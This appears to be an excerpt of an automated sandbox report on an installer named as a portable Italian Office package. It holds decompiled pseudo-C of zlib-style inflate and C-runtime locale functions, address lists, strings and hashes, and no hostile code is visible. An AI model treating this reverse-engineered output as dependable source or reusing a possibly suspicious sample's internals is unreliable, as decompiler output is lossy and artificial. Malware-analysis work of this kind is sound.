														 *(__ecx + 0x1c) = __esi;
														__edi = __edi -  *__edx;
														 *(__edx + 4) = __ebx;
														 *((intOrPtr*)(__edx + 8)) =  *((intOrPtr*)(__edx + 8)) + __edi -  *__edx;
														__eax = _v12;
														 *__edx = __edi;
														 *(__ecx + 0x34) = _v12;
														__eax = E000C3950(__ecx, __edx, 0xfffffffd);
														_pop(__edi);
														_pop(__esi);
														return __eax;
													} else {
														if(_v44 != 0x10) {
															_v44 = 0;
															goto L98;
														} else {
															if(_v28 < 1) {
																goto L121;
															} else {
																__ecx = _v8;
																__eax =  *(_v8 + 0xc);
																__ecx = _v28;
																__eax =  *( *(_v8 + 0xc) + _v28 * 4 - 4);
																_v44 =  *( *(_v8 + 0xc) + _v28 * 4 - 4);
																L98:
																__ecx = _v8;
																__edx = _v28;
																__edi = _v40;
																__ebx = _v44;
																do {
																	__eax =  *(__ecx + 0xc);
																	__edx = __edx + 1;
																	 *( *(__ecx + 0xc) + __edx * 4 - 4) = __ebx;
																	__edi = __edi - 1;
																} while (__edi != 0);
																__ebx = _v24;
																 *(__ecx + 8) = __edx;
																__edx = _v20;
																goto L101;
															}
														}
													}
												} else {
													while(__ebx != 0) {
														__eax =  *__edi & 0x000000ff;
														__ecx = __esi;
														__eax = ( *__edi & 0x000000ff) << __cl;
														__ebx = __ebx - 1;
														__edi = __edi + 1;
														__esi = __esi + 8;
														__edx = __edx | __eax;
														_v36 = _v36 + _v20;
														_a4 = 0;
														_v24 = __ebx;
														_v32 = __edi;
														if(__esi < _v36 + _v20) {
															continue;
														} else {
															goto L93;
														}
														goto L134;
													}
													goto L111;
												}
											} else {
												__eax = _v20;
												__edi = _v44;
												__ecx = __eax;
												__edx = __edx >> __cl;
												__ecx = _v8;
												__esi = __esi - __eax;
												__eax =  *(_v8 + 0xc);
												__ecx = _v28;
												_v20 = __edx;
												 *( *(_v8 + 0xc) + _v28 * 4) = _v44;
												__ecx = _v8;
												 *(__ecx + 8) =  *(__ecx + 8) + 1;
												goto L101;
											}
										} else {
											while(__ebx != 0) {
												__eax =  *__edi & 0x000000ff;
												__ecx = __esi;
												__eax = ( *__edi & 0x000000ff) << __cl;
												__ebx = __ebx - 1;
												__edi = __edi + 1;
												__esi = __esi + 8;
												__edx = __edx | __eax;
												__eax = _v48;
												_a4 = 0;
												_v24 = __ebx;
												_v32 = __edi;
												if(__esi < __eax) {
													continue;
												} else {
													goto L85;
												}
												goto L134;
											}
											L111:
											_t446 = _v8;
											L112:
											_push(_a4);
											_t446[8] = _t451;
											_t452 = _v16;
											_t446[7] = _t460;
											_t452[1] = 0;
											goto L19;
										}
										goto L134;
										L101:
										__eax = _v8;
										__ecx =  *(__ecx + 4);
										__eax =  *(_v8 + 8);
										__edi = _v32;
										_v28 =  *(_v8 + 8);
										__ecx = __ecx >> 5;
										__eax = __ecx >> 0x00000005 & 0x0000001f;
										__ecx = __ecx & 0x0000001f;
										__eax = __eax + 0x102;
									} while (_v28 < __eax);
									goto L102;
								}
								goto L134;
							case 6:
								L105:
								__ebx = _v24;
								 *(__ecx + 0x1c) = __esi;
								__esi = _v16;
								 *(__ecx + 0x20) = __edx;
								__edi = __edi -  *__esi;
								 *(__esi + 4) = _v24;
								 *(__esi + 8) =  *(__esi + 8) + __edi -  *__esi;
								__eax = _v12;
								 *__esi = __edi;
								__edx = __esi;
								 *(__ecx + 0x34) = _v12;
								if(E000C3A60(__ecx, __esi, _a4) != 1) {
									__ecx = _v8;
									__edx = __esi;
									__eax = E000C3950(_v8, __esi, __eax);
									_pop(__edi);
									_pop(__esi);
									return __eax;
								} else {
									__eax = _v8;
									_a4 = 0;
									_push( *(_v8 + 4));
									__eax =  *(__esi + 0x24);
									_push( *((intOrPtr*)(__esi + 0x28)));
									__eax =  *( *(__esi + 0x24))();
									__ecx = _v8;
									__edi =  *__esi;
									__eax =  *(__ecx + 0x34);
									__ebx =  *(__esi + 4);
									__edx =  *(__ecx + 0x20);
									__esi =  *(__ecx + 0x1c);
									_v12 =  *(__ecx + 0x34);
									__eax =  *(__ecx + 0x30);
									__esp = __esp + 8;
									_v32 = __edi;
									_v24 = __ebx;
									_v20 = __edx;
									if(_v12 >= __eax) {
										__eax =  *(__ecx + 0x2c);
										__eax =  *(__ecx + 0x2c) - _v12;
									} else {
										__eax = __eax - _v12;
										__eax = __eax - 1;
									}
									_v28 = __eax;
									if( *(__ecx + 0x18) != 0) {
										 *__ecx = 7;
										goto L128;
									} else {
										 *__ecx = 0;
										goto L14;
									}
								}
								goto L134;
							case 7:
								L128:
								__eax = _v12;
								__edx = _v16;
								 *(__ecx + 0x34) = _v12;
								__eax = E000C3950(__ecx, __edx, _a4);
								__ecx = _v8;
								__ebx = _v24;
								_v56 = __eax;
								__eax =  *(__ecx + 0x34);
								_v12 = __eax;
								if( *(__ecx + 0x30) == __eax) {
									__edx = _v20;
									 *__ecx = 8;
									goto L132;
								} else {
									__eax = _v20;
									_push(_v56);
									 *(__ecx + 0x20) = _v20;
									goto L17;
								}
								goto L19;
							case 8:
								L132:
								_push(1);
								goto L16;
							case 9:
								_push(0xfffffffd);
								L16:
								_t443 = _v24;
								_t446[8] = _t451;
								goto L17;
							case 0xa:
								L12:
								_t462 = _t460 - 3;
								_t448 = _t462 & 0x00000007;
								_t451 = _t451 >> 3 >> _t448;
								_t460 = _t462 - _t448;
								_t446 = _v8;
								_v20 = _t451;
								 *_t446 = 1;
								goto L13;
							case 0xb:
								L20:
								__eax = _v16;
								_push(0x1c);
								_push(1);
								_push( *((intOrPtr*)(__eax + 0x28)));
								__eax =  *(__eax + 0x20);
								__eax =  *__eax();
								__esp = __esp + 0xc;
								if(__eax != 0) {
									 *__eax = 0;
									 *((short*)(__eax + 0x10)) = 0x509;
									 *(__eax + 0x14) = 0xeb318;
									 *(__eax + 0x18) = 0xeb218;
								}
								__ecx = _v8;
								 *(__ecx + 4) = __eax;
								if(__eax == 0) {
									L113:
									__eax = _v20;
									 *(__ecx + 0x20) = _v20;
									_push(0xfffffffc);
									L17:
									_t452 = _v16;
									goto L18;
								} else {
									__edx = _v20;
									__edx = _v20 >> 3;
									_v20 = __edx;
									__esi = __esi - 3;
									 *__ecx = 6;
									goto L13;
								}
								goto L134;
							case 0xc:
								L24:
								__edx = __edx >> 3;
								_v20 = __edx;
								__esi = __esi - 3;
								 *__ecx = 3;
								L13:
								goto L14;
							case 0xd:
								L114:
								__eax = _v16;
								__edx = __edx >> 3;
								 *__ecx = 9;
								 *(__eax + 0x18) = "invalid block type";
								 *(__ecx + 0x20) = __edx;
								__esi = __esi + 0xfffffffd;
								__edx = __eax;
								_push(0xfffffffd);
								L18:
								_t446[7] = _t460;
								_t452[1] = _t443;
								L19:
								 *_t452 = _t457;
								_t452[2] = _t452[2] + _t457 -  *_t452;
								_t446[0xd] = _v12;
								return E000C3950(_t446, _t452);
								goto L134;
						}
						L14:
						_t457 = _v32;
					} while ( *_t446 <= 9);
					goto L15;
				}
				L134:
			}

0x000c4230
0x000c4239
0x000c4240
0x000c4246
0x000c4249
0x000c424c
0x000c424f
0x000c4252
0x000c4255
0x000c4258
0x000c425b
0x000c4260
0x000c426a
0x000c4262
0x000c4264
0x000c4264
0x000c426f
0x000c4272
0x000c4275
0x000c4308
0x000c4308
0x00000000
0x000c427b
0x000c4280
0x000c4282
0x00000000
0x000c4289
0x000c428f
0x000c42bf
0x000c42c1
0x000c42c4
0x000c42ca
0x000c42d0
0x000c42d5
0x00000000
0x000c42d7
0x000c42d7
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x000c42d7
0x000c4291
0x000c4291
0x000c429e
0x000c42a0
0x000c42a1
0x000c42a2
0x000c42a5
0x000c42a7
0x000c42ae
0x000c42b1
0x000c42b4
0x000c42ba
0x00000000
0x000c42bc
0x000c42bc
0x00000000
0x000c42bc
0x00000000
0x000c42ba
0x00000000
0x000c4291
0x00000000
0x00000000
0x000c43a0
0x000c43a6
0x000c43d3
0x000c43d5
0x000c43da
0x000c43df
0x000c43e1
0x000c43e7
0x000c4a77
0x000c4a7a
0x000c4a80
0x000c4a87
0x000c4a8a
0x000c4a8c
0x00000000
0x000c43ed
0x000c43ed
0x000c43f0
0x000c43f2
0x000c43f4
0x000c43f7
0x000c43fc
0x00000000
0x000c4402
0x000c4402
0x000c4407
0x00000000
0x000c4407
0x000c43fc
0x000c43a8
0x000c43a8
0x000c43b0
0x000c43b3
0x000c43b5
0x000c43b7
0x000c43b8
0x000c43b9
0x000c43bc
0x000c43be
0x000c43c5
0x000c43c8
0x000c43ce
0x00000000
0x000c43d0
0x000c43d0
0x00000000
0x000c43d0
0x00000000
0x000c43ce
0x00000000
0x000c43a8
0x00000000
0x00000000
0x000c440e
0x000c4413
0x00000000
0x000c4419
0x000c4419
0x000c441e
0x000c44bb
0x000c44c0
0x000c44c5
0x000c44cc
0x000c44d9
0x000c44dc
0x000c44df
0x000c44e2
0x000c44e5
0x000c44e8
0x000c44ea
0x000c44ef
0x000c44ef
0x000c44f2
0x000c44f5
0x000c44f8
0x000c44fe
0x000c4501
0x000c4503
0x000c4505
0x000c4508
0x00000000
0x000c4508
0x00000000
0x000c4424
0x000c4427
0x000c4450
0x000c4453
0x000c4456
0x000c4459
0x000c445e
0x000c4461
0x000c4464
0x000c4467
0x000c446d
0x000c4472
0x000c447c
0x000c447f
0x000c4474
0x000c4476
0x000c4479
0x000c4479
0x000c4482
0x000c4485
0x000c448b
0x000c44b0
0x000c44b0
0x000c448d
0x000c448d
0x000c4492
0x000c44ad
0x00000000
0x000c4494
0x000c4494
0x000c4499
0x000c44a3
0x000c44a6
0x000c44a8
0x000c449b
0x000c449b
0x000c449d
0x000c449e
0x000c449e
0x000c4499
0x000c4492
0x000c44b5
0x00000000
0x00000000
0x00000000
0x00000000
0x000c4429
0x000c4429
0x000c442c
0x000c4431
0x000c444d
0x00000000
0x000c4433
0x000c4433
0x000c4438
0x000c443f
0x000c4442
0x000c443a
0x000c443a
0x000c443c
0x000c443c
0x000c4444
0x000c4449
0x00000000
0x000c444b
0x00000000
0x000c444b
0x000c4449
0x000c4431
0x000c4427
0x000c441e
0x00000000
0x00000000
0x000c450f
0x000c4515
0x000c4545
0x000c4545
0x000c4547
0x000c454c
0x000c454f
0x000c4557
0x000c455a
0x000c4a93
0x000c4a93
0x000c4a96
0x000c4a9c
0x000c4aa3
0x000c4aa6
0x000c4aa8
0x00000000
0x000c4560
0x000c4560
0x000c4563
0x000c4569
0x00000000
0x000c456f
0x000c4572
0x000c4578
0x000c457a
0x000c457c
0x000c457d
0x000c4580
0x000c4583
0x000c4586
0x000c4588
0x000c458b
0x000c458e
0x000c4593
0x00000000
0x000c4599
0x000c4599
0x000c459c
0x000c459f
0x000c45a2
0x000c45a5
0x000c45ac
0x00000000
0x000c45ac
0x000c4593
0x000c4569
0x000c4517
0x000c4517
0x000c451f
0x000c4522
0x000c4524
0x000c4526
0x000c4527
0x000c4528
0x000c452b
0x000c452d
0x000c4534
0x000c4537
0x000c453a
0x000c4540
0x00000000
0x000c4542
0x000c4542
0x00000000
0x000c4542
0x00000000
0x000c4540
0x00000000
0x000c4517
0x00000000
0x00000000
0x000c45b2
0x000c45b2
0x000c45b5
0x000c45bb
0x000c45c1
0x000c462c
0x000c4630
0x000c4632
0x000c4635
0x000c463f
0x000c4642
0x000c4649
0x000c464c
0x000c464f
0x000c4655
0x000c4655
0x000c4658
0x000c465b
0x000c4661
0x000c4664
0x000c4667
0x000c466a
0x000c466d
0x000c4670
0x000c4672
0x000c4674
0x000c4677
0x000c467a
0x000c4681
0x000c4683
0x000c4686
0x000c468b
0x000c4adf
0x00000000
0x000c4691
0x000c4691
0x000c4694
0x000c4698
0x000c469f
0x000c46ac
0x000c46b1
0x000c46b9
0x000c46bf
0x000c46d0
0x000c46da
0x000c46da
0x000c46dd
0x000c46e4
0x000c46d2
0x000c46d2
0x000c46d8
0x000c46ed
0x00000000
0x00000000
0x00000000
0x000c46d8
0x000c46c1
0x000c46c1
0x000c46c4
0x000c46c4
0x000c46f0
0x000c46f3
0x000c46f9
0x000c46fb
0x000c46fe
0x000c4703
0x000c4ab2
0x000c4ae6
0x000c4ae6
0x000c4ae9
0x000c4aec
0x000c4aef
0x000c4ab4
0x000c4ab4
0x000c4ab7
0x000c4aba
0x000c4abd
0x000c4ac3
0x000c4ac5
0x000c4ac8
0x000c4acb
0x000c4ace
0x000c4ad4
0x000c4ad7
0x000c4ad7
0x00000000
0x000c4709
0x000c4709
0x000c470c
0x000c470f
0x000c4712
0x00000000
0x000c4712
0x000c4703
0x000c45c3
0x000c45c3
0x000c45c6
0x00000000
0x000c45c8
0x000c45c8
0x000c45d0
0x000c45d3
0x000c45d5
0x000c45d7
0x000c45d8
0x000c45d9
0x000c45dc
0x000c45de
0x000c45e5
0x000c45e8
0x000c45eb
0x000c45f1
0x00000000
0x000c45f3
0x000c45f3
0x00000000
0x000c45f3
0x00000000
0x000c45f1
0x00000000
0x000c45c8
0x00000000
0x000c45f6
0x000c45f6
0x000c45f9
0x000c45fc
0x000c4603
0x000c4606
0x000c4609
0x000c460c
0x000c460f
0x000c4612
0x000c4615
0x000c461b
0x000c461e
0x000c4621
0x000c4624
0x000c4627
0x00000000
0x000c45c3
0x00000000
0x00000000
0x000c4718
0x000c4718
0x000c471b
0x000c471e
0x000c4721
0x000c4724
0x000c4729
0x000c472c
0x000c472f
0x000c4732
0x000c473c
0x000c48e0
0x000c48e3
0x000c48e6
0x000c48ec
0x000c48f4
0x000c48ff
0x000c4901
0x000c4904
0x000c4907
0x000c490a
0x000c490b
0x000c4911
0x000c4918
0x000c491f
0x000c4926
0x000c492e
0x000c4933
0x000c4b5a
0x000c4b87
0x000c4b8a
0x000c4b8a
0x000c4b8d
0x000c4b90
0x000c4b5c
0x000c4b5c
0x000c4b5f
0x000c4b62
0x000c4b65
0x000c4b6b
0x000c4b6d
0x000c4b70
0x000c4b73
0x000c4b76
0x000c4b7c
0x000c4b7f
0x000c4b7f
0x00000000
0x000c4939
0x000c4939
0x000c493c
0x000c493e
0x000c4940
0x000c4943
0x000c4948
0x000c494a
0x000c494f
0x000c4b47
0x000c4b4a
0x000c4b4d
0x000c4b50
0x00000000
0x000c4955
0x000c4955
0x000c4959
0x000c495c
0x000c495f
0x000c4963
0x000c4966
0x000c4969
0x000c496c
0x000c496f
0x000c4975
0x000c4978
0x000c497b
0x000c497e
0x000c4981
0x000c4987
0x000c4989
0x000c498c
0x000c498f
0x000c4992
0x00000000
0x000c4992
0x000c494f
0x000c4742
0x000c4742
0x000c4742
0x000c4745
0x000c4748
0x000c474d
0x000c477a
0x000c477a
0x000c4781
0x000c4784
0x000c4786
0x000c4789
0x000c478e
0x000c4792
0x000c4795
0x000c4798
0x000c479e
0x000c47c9
0x000c47d4
0x000c47d7
0x000c47cb
0x000c47cb
0x000c47cb
0x000c47df
0x000c47e2
0x000c47e9
0x000c47ef
0x000c47f4
0x000c4823
0x000c4823
0x000c4826
0x000c4828
0x000c482a
0x000c4834
0x000c4836
0x000c4839
0x000c483c
0x000c483f
0x000c4841
0x000c4844
0x000c4846
0x000c4849
0x000c484b
0x000c484e
0x000c4851
0x000c4854
0x000c485a
0x000c485f
0x000c4862
0x000c4867
0x000c4af7
0x000c4af7
0x000c4afa
0x000c4afd
0x000c4b00
0x000c4b06
0x000c4b08
0x000c4b0b
0x000c4b0e
0x000c4b11
0x000c4b17
0x000c4b1e
0x000c4b21
0x000c4b26
0x000c4b28
0x000c4b2b
0x000c4b2e
0x000c4b31
0x000c4b35
0x000c4b38
0x000c4b40
0x000c4b41
0x000c4b46
0x000c486d
0x000c4871
0x000c488f
0x00000000
0x000c4873
0x000c4877
0x00000000
0x000c487d
0x000c487d
0x000c4880
0x000c4883
0x000c4886
0x000c488a
0x000c4896
0x000c4896
0x000c4899
0x000c489c
0x000c489f
0x000c48a2
0x000c48a2
0x000c48a5
0x000c48a6
0x000c48aa
0x000c48aa
0x000c48ad
0x000c48b0
0x000c48b3
0x00000000
0x000c48b3
0x000c4877
0x000c4871
0x000c47f6
0x000c47f6
0x000c47fe
0x000c4801
0x000c4803
0x000c4805
0x000c4806
0x000c4807
0x000c480a
0x000c480f
0x000c4812
0x000c4819
0x000c481c
0x000c4821
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x000c4821
0x00000000
0x000c47f6
0x000c47a0
0x000c47a0
0x000c47a3
0x000c47a6
0x000c47a8
0x000c47aa
0x000c47ad
0x000c47af
0x000c47b2
0x000c47b5
0x000c47b8
0x000c47bb
0x000c47be
0x00000000
0x000c47be
0x000c4750
0x000c4750
0x000c4758
0x000c475b
0x000c475d
0x000c475f
0x000c4760
0x000c4761
0x000c4764
0x000c4766
0x000c4769
0x000c4770
0x000c4773
0x000c4778
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x000c4778
0x000c4a2d
0x000c4a2d
0x000c4a30
0x000c4a30
0x000c4a33
0x000c4a36
0x000c4a39
0x000c4a3c
0x00000000
0x000c4a3c
0x00000000
0x000c48b6
0x000c48b6
0x000c48b9
0x000c48bc
0x000c48bf
0x000c48c2
0x000c48c7
0x000c48ca
0x000c48cd
0x000c48d0
0x000c48d7
0x00000000
0x000c4742
0x00000000
0x00000000
0x000c4998
0x000c4998
0x000c499e
0x000c49a1
0x000c49a4
0x000c49a9
0x000c49ab
0x000c49ae
0x000c49b1
0x000c49b4
0x000c49b6
0x000c49b8
0x000c49c6
0x000c4bd4
0x000c4bd8
0x000c4bda
0x000c4be2
0x000c4be3
0x000c4be8
0x000c49cc
0x000c49cc
0x000c49cf
0x000c49d6
0x000c49d9
0x000c49dc
0x000c49df
0x000c49e1
0x000c49e4
0x000c49e6
0x000c49e9
0x000c49ec
0x000c49ef
0x000c49f2
0x000c49f5
0x000c49f8
0x000c49fb
0x000c49fe
0x000c4a01
0x000c4a07
0x000c4a0f
0x000c4a12
0x000c4a09
0x000c4a09
0x000c4a0c
0x000c4a0c
0x000c4a19
0x000c4a1c
0x000c4b98
0x00000000
0x000c4a22
0x000c4a22
0x00000000
0x000c4a22
0x000c4a1c
0x00000000
0x00000000
0x000c4b9e
0x000c4b9e
0x000c4ba4
0x000c4ba7
0x000c4baa
0x000c4baf
0x000c4bb2
0x000c4bb5
0x000c4bb8
0x000c4bbe
0x000c4bc4
0x000c4be9
0x000c4bec
0x00000000
0x000c4bc6
0x000c4bc6
0x000c4bc9
0x000c4bcc
0x00000000
0x000c4bcc
0x00000000
0x00000000
0x000c4bf2
0x000c4bf2
0x00000000
0x00000000
0x000c4bf9
0x000c430a
0x000c430a
0x000c430d
0x00000000
0x00000000
0x000c42de
0x000c42de
0x000c42e3
0x000c42e9
0x000c42eb
0x000c42ed
0x000c42f0
0x000c42f3
0x00000000
0x00000000
0x000c4337
0x000c4337
0x000c433a
0x000c433c
0x000c433e
0x000c4341
0x000c4344
0x000c4346
0x000c434b
0x000c434d
0x000c4353
0x000c4359
0x000c4360
0x000c4360
0x000c4367
0x000c436a
0x000c436f
0x000c4a48
0x000c4a48
0x000c4a4b
0x000c4a4e
0x000c4310
0x000c4310
0x00000000
0x000c4375
0x000c4375
0x000c4378
0x000c437b
0x000c437e
0x000c4381
0x00000000
0x000c4381
0x00000000
0x00000000
0x000c438c
0x000c438c
0x000c438f
0x000c4392
0x000c4395
0x000c42f9
0x00000000
0x00000000
0x000c4a55
0x000c4a55
0x000c4a58
0x000c4a5b
0x000c4a61
0x000c4a68
0x000c4a6b
0x000c4a6e
0x000c4a70
0x000c4313
0x000c4313
0x000c4316
0x000c4319
0x000c431d
0x000c431f
0x000c4325
0x000c4336
0x00000000
0x00000000
0x000c42fc
0x000c42ff
0x000c42ff
0x00000000
0x000c4280
0x00000000

Strings

invalid bit length repeat, xrefs: 000C4B17
too many length or distance symbols, xrefs: 000C4A9C
incomplete dynamic bit lengths tree, xrefs: 000C46E4

Memory Dump Source

Source File: 00000000.00000002.503764289.00000000000C1000.00000020.00020000.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.503733350.00000000000C0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.503854768.00000000000E4000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.503894188.00000000000EF000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.503914526.00000000000F3000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_installer_office_portable_3_2_0_Italian.jbxd

Similarity

API ID:
String ID: incomplete dynamic bit lengths tree$invalid bit length repeat$too many length or distance symbols
API String ID: 0-3406219371
Opcode ID: 74be5f58bebeea8ef428b7f1f08c257b5a0f260c55a6dd97594516275314a57d
Instruction ID: e5a54f00722267d4d9e9d26878dbbe452795f487f7c28a60071d19fb8b1b2065
Opcode Fuzzy Hash: 74be5f58bebeea8ef428b7f1f08c257b5a0f260c55a6dd97594516275314a57d
Instruction Fuzzy Hash: 9F72F6B5E002199FCB04CF98C990AADBBF1FF88314F2582A9D915AB351D735DA42DB90

Uniqueness

Uniqueness Score: -1.00%

Function 000DEC01, Relevance: 6.2, APIs: 4, Instructions: 173
COMMON

Download Yara Rule

C-Code - Quality: 83%

			E000DEC01(signed int __edx, void* __eflags, intOrPtr _a4) {
				signed int _v8;
				short _v248;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t36;
				int _t40;
				signed int _t44;
				signed int _t53;
				signed int _t57;
				signed int _t59;
				signed int _t60;
				signed int _t67;
				signed int _t69;
				signed int _t70;
				signed int _t72;
				void* _t73;
				intOrPtr* _t74;
				void* _t95;
				signed int _t98;
				void* _t99;
				signed int* _t100;
				int _t102;
				signed int _t103;
				void* _t104;

				_t98 = __edx;
				_t36 =  *0xef6ac; // 0xcff43140
				_v8 = _t36 ^ _t103;
				_t3 = E000D4F6A(_t99, __eflags) + 0x9c; // 0x9c
				_t74 = _t3;
				_t100 =  *(E000D4F6A(_t99, __eflags) + 0x3b8);
				_t40 = E000DEECD(_a4);
				asm("sbb ecx, ecx");
				_t102 = _t40;
				if(GetLocaleInfoW(_t102, ( ~( *(_t74 + 0x14)) & 0xfffff005) + 0x1002,  &_v248, 0xf0) != 0) {
					_t44 = E000DA4A0(_t74, _t100, _t102,  *((intOrPtr*)(_t74 + 4)),  &_v248);
					__eflags = _t44;
					if(_t44 != 0) {
						L15:
						__eflags = ( *_t100 & 0x00000300) - 0x300;
						if(( *_t100 & 0x00000300) == 0x300) {
							L29:
							__eflags =  !( *_t100 >> 2) & 0x00000001;
							L30:
							return E000CC7C7(_t74, _v8 ^ _t103, _t98, _t100, _t102);
						}
						asm("sbb ecx, ecx");
						_t53 = GetLocaleInfoW(_t102, ( ~( *(_t74 + 0x10)) & 0xfffff002) + 0x1001,  &_v248, 0xf0);
						__eflags = _t53;
						if(_t53 == 0) {
							goto L1;
						}
						_t57 = E000DA4A0(_t74, _t100, _t102,  *_t74,  &_v248);
						__eflags = _t57;
						if(_t57 != 0) {
							__eflags =  *(_t74 + 0x10);
							if( *(_t74 + 0x10) != 0) {
								goto L29;
							}
							__eflags =  *(_t74 + 0xc);
							if( *(_t74 + 0xc) == 0) {
								goto L29;
							}
							_t59 = E000DA4A0(_t74, _t100, _t102,  *_t74,  &_v248);
							__eflags = _t59;
							if(__eflags != 0) {
								goto L29;
							}
							_push(_t100);
							_push(_t59);
							L26:
							_push(_t102);
							_t60 = E000DEFC9(__eflags);
							__eflags = _t60;
							if(_t60 == 0) {
								goto L29;
							}
							L27:
							 *_t100 =  *_t100 | 0x00000100;
							__eflags = _t100[1];
							if(_t100[1] == 0) {
								_t100[1] = _t102;
							}
							goto L29;
						}
						 *_t100 =  *_t100 | 0x00000200;
						__eflags =  *(_t74 + 0x10) - _t57;
						if( *(_t74 + 0x10) != _t57) {
							goto L27;
						}
						__eflags =  *(_t74 + 0xc) - _t57;
						if( *(_t74 + 0xc) == _t57) {
							goto L27;
						}
						__eflags = E000D1321( *_t74) -  *(_t74 + 0xc);
						if(__eflags != 0) {
							goto L27;
						}
						_push(_t100);
						_push(1);
						goto L26;
					}
					asm("sbb eax, eax");
					_t67 = GetLocaleInfoW(_t102, ( ~( *(_t74 + 0x10)) & 0xfffff002) + 0x1001,  &_v248, 0xf0);
					__eflags = _t67;
					if(_t67 == 0) {
						goto L1;
					}
					_t69 = E000DA4A0(_t74, _t100, _t102,  *_t74,  &_v248);
					_pop(_t95);
					__eflags = _t69;
					if(_t69 != 0) {
						__eflags =  *_t100 & 0x00000002;
						if(( *_t100 & 0x00000002) != 0) {
							goto L15;
						}
						__eflags =  *(_t74 + 0xc);
						if( *(_t74 + 0xc) == 0) {
							L11:
							_t98 =  *_t100;
							__eflags = _t98 & 0x00000001;
							if((_t98 & 0x00000001) != 0) {
								goto L15;
							}
							_t70 = E000DEFA7(_t102);
							__eflags = _t70;
							if(_t70 == 0) {
								goto L15;
							}
							_t98 = _t98 | 0x00000001;
							__eflags = _t98;
							 *_t100 = _t98;
							goto L14;
						}
						_t72 = E000DFECB(_t74, _t95, _t102,  *_t74,  &_v248,  *(_t74 + 0xc));
						_t104 = _t104 + 0xc;
						__eflags = _t72;
						if(_t72 != 0) {
							goto L11;
						}
						 *_t100 =  *_t100 | 0x00000002;
						_t100[2] = _t102;
						_t73 = E000D1321( *_t74);
						__eflags = _t73 -  *(_t74 + 0xc);
						if(_t73 ==  *(_t74 + 0xc)) {
							_t100[1] = _t102;
						}
					} else {
						 *_t100 =  *_t100 | 0x00000304;
						_t100[1] = _t102;
						L14:
						_t100[2] = _t102;
					}
					goto L15;
				}
				L1:
				 *_t100 =  *_t100 & 0x00000000;
				goto L30;
			}

0x000dec01
0x000dec0a
0x000dec11
0x000dec1f
0x000dec1f
0x000dec2a
0x000dec31
0x000dec3c
0x000dec3e
0x000dec62
0x000dec79
0x000dec80
0x000dec82
0x000ded25
0x000ded2e
0x000ded30
0x000dedd9
0x000dede0
0x000dede3
0x000dedf1
0x000dedf1
0x000ded3b
0x000ded57
0x000ded5d
0x000ded5f
0x00000000
0x00000000
0x000ded6e
0x000ded75
0x000ded77
0x000ded9b
0x000ded9f
0x00000000
0x00000000
0x000deda1
0x000deda5
0x00000000
0x00000000
0x000dedb0
0x000dedb7
0x000dedb9
0x00000000
0x00000000
0x000dedbb
0x000dedbc
0x000dedbd
0x000dedbd
0x000dedbe
0x000dedc6
0x000dedc8
0x00000000
0x00000000
0x000dedca
0x000dedca
0x000dedd0
0x000dedd4
0x000dedd6
0x000dedd6
0x00000000
0x000dedd4
0x000ded79
0x000ded7f
0x000ded82
0x00000000
0x00000000
0x000ded84
0x000ded87
0x00000000
0x00000000
0x000ded91
0x000ded94
0x00000000
0x00000000
0x000ded96
0x000ded97
0x00000000
0x000ded97
0x000dec99
0x000deca7
0x000decad
0x000decaf
0x00000000
0x00000000
0x000decba
0x000decc0
0x000decc1
0x000decc3
0x000decd0
0x000decd3
0x00000000
0x00000000
0x000decd5
0x000decd9
0x000ded0b
0x000ded0b
0x000ded0d
0x000ded10
0x00000000
0x00000000
0x000ded13
0x000ded19
0x000ded1b
0x00000000
0x00000000
0x000ded1d
0x000ded1d
0x000ded20
0x00000000
0x000ded20
0x000dece7
0x000decec
0x000decef
0x000decf1
0x00000000
0x00000000
0x000decf3
0x000decf6
0x000decfb
0x000ded01
0x000ded04
0x000ded06
0x000ded06
0x000decc5
0x000decc5
0x000deccb
0x000ded22
0x000ded22
0x000ded22
0x00000000
0x000decc3
0x000dec64
0x000dec64
0x00000000

APIs

Part of subcall function 000D4F6A: __getptd_noexit.LIBCMT ref: 000D4F6B

GetLocaleInfoW.KERNEL32(00000000,?,?,000000F0), ref: 000DEC5A
GetLocaleInfoW.KERNEL32(00000000,?,?,000000F0), ref: 000DECA7
GetLocaleInfoW.KERNEL32(00000000,?,?,000000F0), ref: 000DED57

Memory Dump Source

Source File: 00000000.00000002.503764289.00000000000C1000.00000020.00020000.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.503733350.00000000000C0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.503854768.00000000000E4000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.503894188.00000000000EF000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.503914526.00000000000F3000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_installer_office_portable_3_2_0_Italian.jbxd

Similarity

API ID: InfoLocale$__getptd_noexit
String ID:
API String ID: 1862418609-0
Opcode ID: 55a4c0a12b05223b9dbd91b3d6c37de97411f8bcf44354580496fd7e30bbeb73
Instruction ID: a1a9e96c7b1541c096c29f04dd99eb400b08bbb11722e8cca33a2af3adc35085
Opcode Fuzzy Hash: 55a4c0a12b05223b9dbd91b3d6c37de97411f8bcf44354580496fd7e30bbeb73
Instruction Fuzzy Hash: 4E519D715003569BEB28AF24CC86BBA77E9EF01314F10407BE905CE296EBB4E954CB31

Uniqueness

Uniqueness Score: -1.00%

Function 000DEB01, Relevance: 3.0, APIs: 2, Instructions: 47
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 86%

			E000DEB01(void* __eflags, signed int* _a4) {
				void* __edi;
				void* _t16;
				void* _t20;
				intOrPtr _t24;
				int _t25;
				void* _t29;
				signed int* _t30;
				intOrPtr* _t31;

				_t1 = E000D4F6A(_t29, __eflags) + 0x9c; // 0x9c
				_t31 = _t1;
				_t16 = E000D1321( *_t31);
				asm("sbb eax, eax");
				 *((intOrPtr*)(_t31 + 0x10)) =  ~(_t16 - 3) + 1;
				_t20 = E000D1321( *((intOrPtr*)(_t31 + 4)));
				_t30 = _a4;
				asm("sbb eax, eax");
